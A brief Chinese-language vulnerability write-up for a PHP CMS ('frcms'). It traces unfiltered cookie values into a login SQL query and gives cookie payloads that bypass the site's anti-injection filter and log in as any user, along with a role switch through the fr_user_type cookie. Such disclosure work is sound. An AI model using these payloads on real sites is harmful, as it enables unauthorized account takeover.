文件member/index.php
这里包含了check.php,跟进
文件member/check.php
这里注意:
$username=_getcookie('user_login');
$userpass=_getcookie('user_pass');
$username和$userpass进入了SQL语句,继续跟进_getcookie
文件/inc/common.inc.php
这里的$cfg['cookie_pre']='fr_'
直接从_COOKIE获取参数值带入了上面的SQL语句,没有任何过滤,导致SQL注入
这里在进入SQL之前有一个防注入:
但是可以轻易绕过了
访问:http://10.65.20.198/frcms/member/index.php
然后抓包,将cookie中的fr_user_pass或者fr_user_login的值加入单引号'
发送请求,会导致sql报错:
那么这里我们可以任意用户登录了。
发送cookie:fr_user_login=111111' and char(@`'`) or 1=2#会跳转到登陆页面
发送cookie:fr_user_login=111111' and char(@`'`) or 1=1#即可登陆用户
这里cookei中的 fr_user_type表示用户类型,修改这里的 fr_user_type的值即可登陆不同用户了。